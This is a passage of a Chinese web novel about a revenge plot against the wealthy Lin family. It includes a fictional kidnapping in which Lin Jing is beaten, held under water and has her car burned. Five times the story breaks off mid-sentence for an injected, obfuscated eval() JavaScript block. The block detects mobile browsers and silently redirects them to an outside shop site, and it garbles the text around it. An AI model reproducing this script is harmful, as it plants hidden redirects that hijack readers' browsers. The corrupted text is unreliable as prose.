容清洛叹气：“那我这以后岂不是都卖不成手抓饼了。姐，你门路广，我这餐车你看能不能帮我卖出去？卖的钱我分两成给你，辛苦姐帮我操个心，掌掌眼，行不？” 老板娘：“行啊，咋不行，你放心，我帮你转出去，回头有消息了我给你打电话。” 容清洛从江大的后街离开，坐公交来到市图书馆。 距离她给严靖诚递消息已经过去好几天，今天也许有回信了。 果然，容清洛在图书馆的寄存柜里发现一个很大的文件袋。 她取出文件袋，快速装进书包，拉低帽檐，快步离开。 回到家中，容清洛一页一页地细细阅读纸张上的信息。 她这才知道，林晶上次打的那个和她长相很像的女生叫林洛，比林晶小一岁，是林晶的妹妹。 不过林洛小时候十分聪慧，上学早，还跳过级，如今比林晶还高一级，在江大读大二。 林洛的母亲杜忆凝是林丞的第二任老婆。 据说林丞的第一任老婆在生林晶的时候难产去世了。 了解到这些内情，容清洛面沉如水。 严靖诚果然有他自己获取信息的渠道。 很多信息之前他都没给她。 在来宁川市以前，严靖诚只给了她一些关于林裕的信息。 看来只有她接触到新的人的时候，严靖诚才会给她相应的信息。 所以，林裕和林晶是一母同胞，但林洛和这两兄妹同父异母？ 如果是这样的话，就可以解释为什么林晶和林洛关系不好了。 容清洛若有所思。 真不是她以貌取人，这个林洛的相貌真的比林晶更加艳丽夺目。 从林洛能跳级来看，林洛在学业上应该也比林晶更胜一筹。 这两人都是林家女儿，算是家世相当。 如此说来，林晶跟林洛相比，竟没有一个优胜之处，怪不得她对自己的妹妹这么大怨气。 容清洛其实很讶异，原来林晶也有这样的一面。 似乎，她也不是那么的不可战胜。 林洛的母亲叫杜忆凝。 这人姓杜。 严靖诚说过，林晶的未婚夫姓杜。 严芷萱告诉过她，严靖诚的初恋情人也姓杜。 这些人都姓杜。 这些信息之间似乎有着千丝万缕的联系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578016|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到自己这张和林洛相似的脸庞。 容清洛的心中突然升起一种困惑，她这张脸，到底是像严汀洛，还是像林洛？ 林洛…… 严汀洛…… 容清洛…… 都有一个“洛”字。 容清洛皱起眉头。 容清洛默默把这些资料上的信息记在心中，全部看完以后，才发现还有一个小信封压在最下面。 拆开信封，里面有一部手机和一张纸条。 「摸清林晶行踪，周日把林晶引出来。具体地址届时会发到这部手机上。若有紧急情况，可用该手机联系。」 现在是周五晚上，只剩下不到两天的时间了。 容清洛打开手机，通讯录里仅有一个联系人，正是严靖诚的电话号码。 电子屏幕发出的微光在夜晚显得格外刺目。 容清洛眯起眼睛。 这个严靖诚……究竟是要干什么？ *** 南庐市。 严靖诚正在和手下人说话：“召集兄弟们，做好准备，我们明天去宁川市。” 手下回答：“是。” 严靖诚又交待了一些事情，正事谈完以后，手下告诉严靖诚：“老板，程家大公子最近在四处打听季希的消息。” “程景凌？”严靖诚问道，“程家二公子呢，还没回国？” 那人答道：“是。” 严靖诚：“程家倒是总出痴情种。可惜了。” “当时南山森林公园发生林家小姐绑架案，南庐市的有钱人家多多少少都有些人人自危。” “我记得，几乎是在森林公园那事发生以后的第一时间，程东启就把他的二儿子和小女儿送出国了，就怕国内有人绑架他这俩孩子。只留下这位已经快大学毕业的大公子接手家业。” “真没想到，过了这么几年，那位二公子还在托他哥哥帮忙找人，竟然还没放弃呢。” 严靖诚眯起眼睛，叮嘱手下人：“别让程家人探查到有关季希的任何消息，更别让他们知道容清洛就是季希。务必要把季希在南庐市的所有痕迹都抹去。” “明白。”那人点头，然后很快离开。 严靖诚站在窗边，看着天空中悠远的浮云：“季希？我还是喜欢叫你容清洛。” “你就乖乖地留在我这里，给我卖命吧。” 66. 寒夜灯明 周六容清洛轮休，不用去咖啡店上班。 她仔细地研究着贺溪君给的那个二手机。 这里面的内容和林晶手机里的一模一样。 容清洛面无表情地分析着里面的信息，时不时地在笔记本上记录下她认为重要的点。 沉吟良久，她放下手中的笔，从信封里取出严靖诚给的联络手机，拨出通讯录上唯一的号码。 电话接通，对面没有人说话。 沉默两秒，意识到什么，容清洛率先开口：“严先生您好，听说您整形技术很不错啊，您今天手术排满了吗？” 听见二人约定好的暗号，严靖诚才出声回答道：“我今天手术还没排满，你想要咨询什么类型的手术？” 听到这句话，容清洛明白严靖诚那边的环境是安全的。 她开门见山道：“严医生，我需要知道你计划做什么，这样才好选择如何把林晶引出来。” 严靖诚：“我会在宁川市待半个月。” 容清洛：“做什么？” 严靖诚：“做很多事啊。开会，学习，考察……以及给林家小姐一点教训。” 容清洛：“你要亲自见林晶？” 严靖诚：“对。” 电光火石之间，容清洛茅塞顿开，她试探道：“因为林洛？” 手机对面传来沉默的呼吸。 容清洛挑眉，她猜对了？ 严靖诚这么宝贝这个林洛？ 就因为林洛被林晶欺负了，他就要从南庐市杀到宁川市，替林洛教训林晶？ 莫非林洛才是严靖诚的女儿？ 哦豁，这可真是……惊天大瓜。 容清洛摸着自己的脖子，明明在室内，却感觉背后凉凉的。 长久的沉默以后，对面的严靖诚终于说话了。 只听他声音微沉，警告道：“太聪明，不是一件好事。” “我大概知道怎么做了。”容清洛转移话题问道，“你需要我把林晶引到哪里？” 严靖诚：“郊区无人的地方，具体位置我会发给你。” 又是沉默。 严靖诚便准备挂断电话：“好，那就先这样。” 这时，容清洛犹豫一番，还是汇报道：“林晶认出了我的脸，她记得我在南庐市的华章书屋当过店员。” 严靖诚：“意料之外，但也在情理之中。” 容清洛耐心地等着他的下文。 严靖诚沉吟道：“你以后是要接近林裕的，假如林晶把这件事告诉林裕，以林裕的能力，极有可能查出你是我们派去的。” “我们务必要避免这种事情的发生。” 容清洛：“确实是有暴露的风险，所以我才专门向你汇报。” 严靖诚：“在解决这件事前，你先别往林裕面前凑了。之后看能不能找机会让林晶离开宁川市。” 结束这通电话，容清洛火速联系贺溪君。 当晚，贺溪君就住在容清洛租的房子里。 周日。 在容清洛的授意之下，贺溪君通过网络技术远程控制林晶的手机，在通讯软件上以寇依宁这个身份给林晶的账号发送信息。 「晶姐，快来郊区，有热闹可看。」 下面是一个定位。 当然，寇依宁是不会知道她的账号曾给林晶发送过这样的消息的。 不选甄安然，是因为甄安然后来申请了国外的大学就读。 而寇依宁不一样，她也在江大读书。 虽然和林晶不是一个院系，但寇依宁仍然跟在林晶身后狐假虎威地混着。 是以，尽管林晶没那么看得起寇依宁，可寇依宁还在能把林晶喊出来碰面的那波人当中。 因此，收到消息后，本来就有些百无聊赖的林晶瞬间提起兴趣。 看热闹啊。 她最喜欢瞧别人的笑话了。 林晶收拾一番后，便到地下停车场开上自己的跑车，向寇依宁给的定位驶去。 大半个钟头过去，导航显示到达目的地的时候，林晶的耐心已经逼近消逝殆尽的临界点。 秀美的九川江横亘在眼前，流水悠悠，清透如玉。 林晶却并无心思欣赏这万里风光。 这里最好真的有乐子。 “人呢！” 林晶打开车门，靠在车身上拨打寇依宁的手机号。 嘟。 嘟。 电话还没接通，突然身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578017|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后伸出一只手，将手机拍飞。 林晶扭头，火冒三丈：“谁呀！手这么欠……” 一个黑衣人捡起手机，将通话挂断，然后将手机恭敬递给严靖诚。 林晶皱眉看着这一群穿着黑衣的彪形大汉，下意识地向后退。 严靖诚：“林小姐，久仰了。” 这人看起来倒还算儒雅。 林晶的目光落在这个明显是头目的人身上，语气稍显缓和：“先生怎么称呼？” 严靖诚：“我是谁，林小姐不需要知道。你只需要了解到我的目的即可。” 这话语的内涵并不友善，林晶察觉出不对，连忙转身，拉开车把手要上车。 严靖诚身形未动，只是轻轻抬手，向前一挥。 笔直立于他身后的一众黑衣人中，便走出数人，上前抓住想要启动跑车逃走的林晶。 这些黑衣保镖将林晶团团围住。 毫无逃生可能的林晶被带到严靖诚面前。 形势比人强。 林晶只得压着心里的火气，问道：“你到底想做什么？” 严靖诚嗤笑一声：“不做什么，来玩儿咯。” 林晶面色微变。 周围全是陌生的黑衣男子。 这些人手里有刀，有棍子，甚至，也许会有枪。 林晶颤抖着大喊：“别过来！” 她对着严靖诚威胁道：“你敢动我？你们知道我爸是谁吗？知道我哥是谁吗？” “大名鼎鼎的林氏集团，如雷贯耳，宁川市何人不知，何人不晓啊？”严靖诚嘴上说着赞美之词，语气里却显露出几分散漫，神色中更是带出几分对林氏集团的不屑一顾。 林晶见威逼不行，只好利诱：“你想要什么？我家有钱。只要你放了我，不管你要多少，我哥都会给你的……” “有几个臭钱了不起吗？”严靖诚冷笑一声，“更何况，我也不缺钱啊。” 林晶一噎，说道：“难道还会有人嫌钱多吗？” 严靖诚：“再有钱，也得有命花啊。” 他漫步上前，保护在他前面的黑衣人为他让开一条路。 林晶被桎梏着双手，瞧着男子缓缓走近，不由得瑟瑟发抖。 67. 寒夜灯明 严靖诚面上微微一笑，手却极大力地甩出两个巴掌在林晶的双颊上。 林晶被打得头偏到一边，双腿发软。 若无身侧挟持着她的黑衣人架着她，此刻林晶恐怕已经瘫倒在地上。 严靖诚淡淡道：“这是你应得的。” 林晶忍着痛意问道：“你到底想要什么？” 严靖诚：“你知道吗？这些日子里，我感到很痛苦。我这么痛苦，所以也想看到你痛苦。” 林晶：“变态。” 严靖诚：“骂得好。只不过，这声变态，似乎形容你自己更贴切。” “曾经，别人的痛苦是你的快乐。” “那么现在，你的痛苦也是我的快乐。” “很公平，不是吗？” 说罢，严靖诚又左右开弓照着林晶的脸上扇去。 林晶跪在地上，开始求饶：“这位大叔，不是……这位大哥，你别打了！别打了！” “你告诉我你想让我怎么做，我都听你的，只要你放了我，求求你，求求你，别打了……” 严靖诚摇摇头：“啧啧，真是骨头软。林丞这女儿教得不怎么样啊。” “看来是被打怕了。”严靖诚低下头，端详着林晶的狼狈，笑起来，“我倒真没想到，平日里眼高于顶、颐指气使、拜高踩低的堂堂林家大小姐，竟然也会怕得像条狗一样求饶啊。” “真是一出好戏。” 严靖诚：“记得回去告诉你哥，什么产业可以碰，什么产业别不自量力地碰，好好在心里掂量掂量，免得连累那么多人进去，自己却在外面逍遥。” 容清洛听到这话，眉心一跳。 严靖诚说得模棱两可。 他是想故意引导着林家人将这次教训林晶的事件和最近出事的《证道》网游联系起来，以此掩盖其真正的目的。 这严靖诚对林洛，倒还真是“父”爱如山。 容清洛撇撇嘴，并未多言。 严靖诚打了林晶一阵之后，好像突然失去兴趣。 蓦地，他收起脸上的笑，指着不远处的河水，对着手下人吩咐道：“去，请咱们这位林家大小姐品尝一下这九川江的水。” 于是，林晶被人从地上拖拽着来到河边。 几人压着她跪在岸边尖削的石头上，不断地将她的脑袋摁入河水中。 林晶尖叫着，挣扎着，求饶着，呛进去好多水。 严靖诚充耳未闻。 他把林晶的手机往地上狠狠一摔，脚狠狠在上面碾着，然后将已经坏掉的手机扔在林晶的跑车上。 接着，旁边自有人拎着几桶汽油往车上泼。 严靖诚拿出打火机，点燃一根烟，深吸一口后，连烟带打火机往车上扔去。 瞬间，火舌燃起。 容清洛目睹了全程。 为避免被林晶认出，她一直戴着帽子和口罩。 她知道，附近的监控一早就已经破严靖诚的手下毁坏。 所以，严靖诚的所作所为不会被记录下来。 严靖诚毁掉了林晶的手机和车。 短时间内，林晶无法向外传递求救讯息。 在来之前，容清洛有想过，严靖诚也许会警告林晶。 但她没料到，尽管严靖诚看着并不像是那种残暴嗜血的人，可他下手竟然不轻。 容清洛作为一个旁观者，看着林晶痛不欲生的场景，回想起自己以前在林晶手底下被殴打得奄奄一息的画面，心里随着烈火浓烟升腾起一种诡异的荒谬之感。 她甚至没有丝毫感到痛快。 她只感到疑惑。 林晶，你曾经的目空一切呢？ 原来你也会卑微如蝼蚁。 原来你的不可一世只建立在固定的场景或框架之中。 一旦脱离出那个场景或框架，人和人之间再大的不同、再大的差异，都会臣服在绝对的武力之下。 原来，你并不是生活的例外。 看着眼前这宛如闹剧一般的情景。 一面是林晶不断被压入水中感受着窒息的痛苦，一面是跑车在烈火中焚烧出滚滚浓烟。 容清洛深深地思考着，权力究竟是什么。 用最通俗的话来讲，也许权力就是，在一个限定的场域内，谁说了算，谁的话语有威慑，谁就拥有权力，谁就拥有绝对的影响力。 这种影响力让这个场域内的所有人都受制于一人。 当这个人用这种影响力驱使这个场域里的其他人去压迫某一个人，就形成了欺压。 小到班级里搞校园霸凌的小团体，大到总是想要侵略和瓜分别国的西方列强，都在运用这种影响力以满足一己私欲。 然而，曾经选择用权力、用暴力、用能力、用心机去欺压别人的人，在更高的权力、更猛的暴力、更强的能力、更深的心机之下，也只能被碾压、被欺凌，也只能被动地承受。 每个人都有可能成为欺压者，每个人都有可能成为被欺压者。 因为，没有恒强，只有更强；没有恒弱，只有更弱。 林晶受难的场面令容清洛大受震撼。 原来，有头脑的人可以用诡计玩弄老实人于鼓掌之间，却无法抵抗强壮之人的拳头。 孔武有力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578018|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人用暴力征服手无缚鸡之力的人，却终究会被更强者所压制。 有权势的人用影响力让别人为其做事，但在权力暂时无法庇护掌权者的时刻，在那个权力暂时失效的真空，高位者也会被反噬。 而压迫者的影响力究竟从何而来？ 以林晶为例。 一个人活在世上，所拥有的东西可以分为外部的和内部的两大类。 外部的东西包括别人提供的与自己本身所拥有的。 在别人提供的外部东西里，最基础的便是父辈祖辈所给予的家世。 你从小到大一路攻读的学校，在或因学历、或因能力、或因关系的基础上找到的工作，你由此而得到的一切衣食住行、同学关系、老师关系、社会关系、钱财权力、功名利禄，都是在这一基础上衍生而得。 在自己本身所拥有的外部东西里，最基础的便是皮囊长相。 其次便是由你自己本身所创造的各种事物，大到一座建筑，小到一个手工艺品，都属于此类。 内部的东西则包含由他人传授或者赋予的，诸如学习成绩、专业技术、能力、气质、才艺；以及自己生出的或创造的，诸如品格、品质、精神、思想。 一个人之所以能成为富有影响力的压迫者，便在于这个人在一定的场域中，因着某个被当作场域中人们排序标尺的外部或内部因素，被人为地奉上了高位。 就如同林晶在学校里，因其外部的家世、社会关系、钱财权力而被一些想要因此获利的人们所拥护。 她由此在学校里获得了影响力，可以对他人随意欺凌，却不用承担后果。 此刻在九川江畔教训林晶的严靖诚，同样如此。 在这片人烟稀少的郊区，在这一小块场域之中，严靖诚切断了林晶和外界的联系。 他所拥有的来自外部的武力压制，让他成为当下这一小片区域里最有影响力的人。 所以严靖诚可以在这里欺压林晶，毫无负担。 也就是说，一般而言，一个敢于欺压他人、霸凌他人的人，通常都具备一个心理，那就是这个人觉得自己在某些外部或者内部的方面都凌驾于他人，觉得自己是强者。 而被欺压的人，则让渡了自己的许多权利，处于弱势地位，不敢反抗。 严靖诚对林晶欺负林洛的报复方式是选择成为新的压迫者。 林晶欺压林洛，严靖诚欺压林晶。 思考到这一步，容清洛才真正厘清自己心中那份浓重的不适感来源于何。 她真的对此感到疑惑。 这样的行为，算是真正的复仇吗？ 68. 寒夜灯明 不。 就本质而言，这种行为其实是在泄愤。 这是在增添新的罪恶。 当这样的想法在脑海中浮现，容清洛不得不重新地审视自己。 难道是她太过软弱？ 容清洛不禁扪心自问，她这种心理属不属于既要又要？ 既然已经决定要走进黑夜里去成为一只复仇的恶鬼，为什么还会因为道德感而痛苦万分？ 林晶明明是罪有应得。 可为什么，容清洛的心中不断地出现一道声音在诉说。 曾经她最厌恶的就是自己被霸凌时他人的冷眼旁观。 但现在，她自己的漠然与袖手，与当初那些见死不救的人又有何区别？ 在复仇的这条路上行走多时，她陡然发觉，自己竟已变得这般陌生。 嫉恶如仇，不代表以虐杀恶人为乐。 她想要复仇，却绝不是想要成为新的施暴者。 她只是想要一个公道，想让林晶为自己的罪行付出代价。 她的目标，是让罪者受到制裁和处罚，却绝不是要成为和这些罪者一样的人。 正如端起枪，不是为了侵略别人，只是为了守卫家园。 拿起刀，不是为了残害他人，只是为了保护自己。 昂起头，不是为了蔑视弱者，只是为了屹立世间。 这两种观点在容清洛的脑海里拉锯，吵得她头痛欲裂。 这一刻，她倏尔就体会到，何谓天地一熔炉。 原来那苦海沸腾处，炼化的正是人心。 区分人们的所谓标尺以及由此而被人为划分出的等级，不过都是人类社会内部的过家家。 在残酷的自然灾害面前，人类很渺小。 倘若这一刻突然地动山摇，洪水滔天。 九川江畔的这群人，无论是严靖诚还是林晶，无论是这些黑衣保镖还是容清洛她自己。 无论是这场欺压游戏里的欺压者还是被欺压者，无论位高或是位卑。 所有人丧失生命，都只在由天地、由自然、由宇宙所掌控的这一瞬间。 君不见，当年的地球霸主恐龙，如今早已灭绝多年。 这样一想，似乎人活着，真的很没意思。 所有的倾轧、争夺、冤冤相报，彷如扯头花一般的闹剧，是那般荒谬，是那般荒诞。 思维飞速运转，容清洛猛地勒令自己打住。 不能继续想这些虚无的事情了。 人终究是活在现实世界里的，而不是活在精神世界中。 做好眼下的每一件事，也许比想清楚这些更为重要。 容清洛远远看着林晶在水中挣扎的痛苦模样，恍若忽地回到了高一上学期末的那个人工湖畔。 脑海里她那张全无生机、灰败的脸，渐渐和林晶挣扎求生的脸重合。 林晶的头不断地被摁进水中，在她即将窒息时，又被人从水中拉出，待她缓过来，便又被人摁进水中，这样反反复复，仿佛永不停歇的酷刑。 容清洛深吸一口气，走到严靖诚身边，小声道：“先生，可以借一步说话吗？” 她没有叫严医生，是为了减少严靖诚身份暴露的风险。 严靖诚似乎没有想到她会在这时候开口。 确实，她本来只用当个旁观者就好。 容清洛苦笑一声。 她的脑子，可能确实出了点问题吧。 严靖诚带着容清洛往远处走了走，远离河边与燃烧的跑车。 “说吧，什么事？” 容清洛：“我只是想提醒你一句，弄出人命就不好了。” “看不出来啊，”严靖诚嘲讽道，“你还挺菩萨心肠。” 容清洛：“我只是觉得，想要成事，需以大局为重。” 严靖诚奇怪：“你难道不恨她吗？当初她害得你那么惨，毁容，失学……” “我恨呀，我如何不恨？”容清洛的双眼里倒映出远处的火焰。 她道：“只是，我虽恨她，却绝不允许自己因为恨她而做出违背我自己原则的事情。” “我不希望对她的仇恨影响到我本身的做人准则。” “任何人事物都不能影响我的人格，包括我自己的情绪。” “我是要让她承担她应受到的惩罚，而不是在她身上发泄我对她的仇恨。这二者有着本质的区别。” 严靖诚眯起双眼：“你觉得我是在泄愤？” “难道不是吗？”容清洛直视严靖诚的眼睛，坚持地说出自己的意见，“我们应该用光明正大的手段，把她的罪行揭露。” 面对容清洛这张和林洛相似的脸，严靖诚到底还是多出几分耐心。 他点燃一支香烟，望着九川江潋滟的水面，半晌才道：“小打小闹的事情对林家人无用。” 容清洛：“那杀人案呢？” 严靖诚抬头：“你说什么？” 容清洛：“我说，林晶她杀过人。” 严靖诚掐灭手中的烟，狠狠将其踩在脚底，轻抬下巴，示意她继续说下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578019|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容清洛：“我有办法找到证据，如果最终能证明林晶杀过人，这可不可以当成是拉林家下马的一颗好棋子？” “这算不算是一种光明正大的惩罚方式呢？” 严靖诚深深地打量着容清洛：“你倒是挺让我刮目相看。” “详细说说吧，林晶还害过谁啊。” 容清洛：“是我的一个高中同学，名叫叶时冉，她被林晶推下了悬崖。” “你还记得当年南山森林公园的那场大火吗？这场大火就是林晶为了掩盖这一罪行而放的。” 严靖诚言简意赅地指出关键点：“证据。” 容清洛：“当时看见这件事的还有林晶的两个狗腿子，甄安然和寇依宁。” “她们三个人并不是铁板一块，各有各的小心思，只要稍加挑拨，利益驱使，她们会愿意作证的。” “并且叶时冉的尸骨还在悬崖之下，只要能找到尸骨，比对DNA，这就是证据。” “你可真能藏，现在才告诉我这件事。”严靖诚，“按照你说的这些，我会派人去调查，一旦全部核实，会立即开始采取行动。” “这期间，可以用我新给你的那部专用手机联系我。” 容清洛点头：“知道。” “你和我们一起走容易惹人怀疑，所以我就不送你了，你自己先开车离开这里。”严靖诚回头望向远处仍被人摁着在水中挣扎的林晶，“待会我会让人把林晶放了的，不会把她弄死。” “好。”容清洛没有犹疑，转身就走。 看来，严靖诚虽然宝贝林洛，但是在他心里，他的终极目标仍然是搞垮林家。 这个是非地，她还是早点脱身为妙。 待容清洛走后，严靖诚吩咐手下人把林晶扔在河边的小路上，然后便带着所有人撤退。 这天夜里，林晶拖着受伤的躯体在郊区的小路上走了很久，终于遇到一辆过路的车。 她拦住车，问车主借手机给哥哥林裕打电话。 最后是林裕亲自来把林晶接上送去医院的。 自此，林晶在医院养伤许久。 通过林晶的叙述，林裕自然以为这起绑架案的起因是他悄悄开发的《证道》游戏的出事。 因此林裕根本就不敢报警。 毕竟他可是好不容易才将自己从《证道》这款网游里摘出来。 只是，这样的话，林晶就只能吃下这个哑巴亏。 林裕对此很是愧疚，比以往更疼爱这个和他一母同胞的妹妹，几乎是有求必应。 69. 寒夜灯明 严靖诚在离开宁川市之前，和杜忆凝单独见了一面。 杜忆凝收到消息时，吃了一惊，但还是独自一人来到约定的地方：“你还找我做什么？往事不堪回首，我们都应该向前看。” 严靖诚把林晶欺负林洛的照片摊在杜忆凝面前。 此外，还有一些林裕和林洛相处时的照片。 在某些角度里，林裕的眼神，透露着对林洛不加掩饰的占有欲。 杜忆凝不可置信。 严靖诚：“就算你愿意为了家族舍弃自己，你起码也应该考虑一下洛儿。” “在林家，林晶欺负洛儿，林裕觊觎洛儿，你这个做妈妈的竟然毫无察觉吗？” “难道只有我这个做父亲的心疼女儿，你这个当妈妈的却只顾着当林太太享福吗？” “是我太粗心了。”严靖诚前面的话令杜忆凝感到内疚。 但在听到最后一句话时，杜忆凝皱眉喝止道：“阿诚，有些话不可以随便讲的。” 严靖诚冷笑一声：“我不像你，敢做不敢认。要是你们都不能对洛儿好，我会考虑把洛儿接回我身边。” “要知道，我已经不是当年那个一无所有的毛头小子了，无论是林家还是杜家，我有的是方法对付，关键在于我想不想罢了。” 杜忆凝能感受到严靖诚话语里掩盖着的疯狂：“阿诚，你变了。” 严靖诚：“快二十年过去了，没有人能一成不变。” “你难道没变吗？” 杜忆凝低头：“我没办法背弃家族。” 严靖诚：“啧啧，杜老爷子想当初也是江省赫赫有名的大企业家，这选女婿的眼光不行啊。” “阿凝，纵使我这个穷小子那时候入不了你爹的法眼，可他怎么会给你选了姓林的这么一家？” “林家有那么多见不得光的产业，他们看中你家，愿意接受怀孕的你入门，认下你肚子里来路不明的孩子，无非就是想借着杜家的能量洗白而已。” “林丞这样的人，又比我好多少？” 杜忆凝叹气：“你现在说这些又有什么用？” 严靖诚：“算了，有关林晶和林裕的事情你不用操心了。我已经找人修理了林晶一顿，为洛儿出气。” 杜忆凝毕竟是林太太，林晶住院的事情她知道。 联系严靖诚话中的意思，杜忆凝瞬间明白过来：“晶晶这次住院是因为你？” 严靖诚：“因为什么不重要，重要的是她要为她所做的事情付出代价。” “另外，林裕那边，我也安排的有人，林裕的注意力会从洛儿身上转移走的。” 杜忆凝：“谢谢你，阿诚。” 严靖诚握住杜忆凝的手：“作为曾经的旧情人，我今天来，不是追今抚昔。” “我可以对着九川江发誓，我对你和洛儿绝对是真心。” “所以给你一点忠告。” “尽早带着洛儿脱离林家吧。” “要是不信，就回去问问你哥，看看他还愿不愿意让他儿子和林家联姻。” *** 过了一段时间，林晶终于养好伤出院。 她回家以后的第一件事，就是把寇依宁约出来算账。 林晶在江大附近有一套公寓。 寇依宁不是第一次来这里。 可这一天，她一进门，就发现气氛不对劲。 寇依宁摆出讨好的笑脸：“晶姐，你好点儿了吗？之前去医院看你，你也不见人。今天专门给你带了点补品，都是好东西，回头叫阿姨做了给你尝尝。” 林晶没有把她在郊区被人打的事情告诉任何人。 学校的老师同学都以为她是因为生病了才请的假。 所以寇依宁并不知道林晶住院的真正原因。 林晶没管寇依宁带的各种东西，她只是靠坐在沙发上，斜睨着寇依宁进门以来的一举一动。 寇依宁被盯得不自在，疑惑道：“晶姐，我脸上有东西吗，怎么这样看着我？” 林晶：“我发现，你鼻子上的假体快掉出来了。” 这话将寇依宁吓得不轻，她连忙从包里拿出小镜子，仔细观察自己的鼻子：“啊？不会吧，这可是才做没几个月啊……” 见寇依宁的全部注意力都在镜中她自己的鼻子上，林晶挑眉，专门挑这个时候提问，语气显得很随意：“上个月，你给我发信息让我去郊区看什么热闹？” 寇依宁连头都没抬，眼神落在镜面上，手指轻碰自己的鼻梁：“什么热闹？晶姐，我没给你发过这种信息啊？” 林晶：“你好好想想，上个月，十一月底的一个周日。” 寇依宁确认自己的鼻子没问题，这才收好镜子。 她仔细回忆着上个月的事情，最终确定地回答：“晶姐，我真的没给你发过这样的消息。郊区那种鸟不拉屎的地方，我怎么可能去。” 这确实像寇依宁的性格。 林晶沉吟半晌，命令道：“把你手机上我们的聊天记录拿来，我看看。” 寇依宁虽然不太情愿，但是考虑再三，还是打开手机，调出和林晶的聊天页面，递给林晶。 见林晶仔细地翻阅着，寇依宁小心问道：“晶姐，是发生什么事情了吗？” 不会是她和凌舟的事情被发现了吧？ 寇依宁不由得忐忑起来。 在寇依宁的手机上，林晶确实没有找到自己出事那天收到的那两条消息。 虽然不排除寇依宁删掉聊天记录的可能，但是以林晶对寇依宁的了解，这种可能性非常非常低。 这背后之人，是个IT高手啊。 林晶沉着脸深思。 寇依宁见林晶的脸色不好，连忙来到林晶身边。 她没敢和林晶并排坐，而是蹲在林晶旁边，拉着林晶的手，仰视着林晶诚恳道：“晶姐，从初中起我就跟着你混了，一路从初中部到市一中再到江大，我对你的忠心如何，你是最清楚的了。” 听闻此言，林晶嗤笑一声。 她抚摸着寇依宁的头发，漫不经心道：“你别以为我不知道。你那是跟着我跑吗，你是跟着凌舟吧？没想到你和甄安然都还挺长情。一个跑到国外去追男人，一个形影不离地跟到江大。” 寇依宁脸色煞白。 林晶拍拍寇依宁的脑袋，俯视的角度让她对寇依宁的神态表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578020|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一览无余。 她微笑着说出对寇依宁而言最残忍的话：“我希望你搞搞清楚，不论是阿岩还是阿舟，都是因为我，才会正眼看你和甄安然两眼。我要是不愿意，只要勾一勾手，他们两人随时都可以抛弃你们两个。” 寇依宁喜欢凌舟很久了。 最开始，凌舟是林晶的。 但是林晶喜新厌旧，总是对到手的男生容易厌倦。 后来，林晶看上程景逸，寇依宁找到机会，开始私下接触凌舟。 再后来，林晶有了未婚夫杜睿江，寇依宁本以为林晶不会在意凌舟了，没想到林晶竟然连自己不要的人都不让其他人染指。 怎么可以这么霸道。 寇依宁违心地低头，顺从道：“明白。” 但在她的心中却种下芥蒂。 *** 自从容清洛上个月在郊区和严靖诚提出建议，把证明林晶杀人当作击垮林家的导火索，她便一直在等严靖诚的调查结果。 又因为林晶记得她以前在南庐市待过，所以她目前接近林裕的计划也得暂时搁置。 各方面原因聚集在一起，导致容清洛最近无事可做，只好按部就班地去咖啡店打工。 其实原本严靖诚并未把林晶放在眼里。 严靖诚一直想要对付的都是林家，更准确地说，是林家的掌权人。 所以严靖诚之前一直敦促容清洛接近林裕。 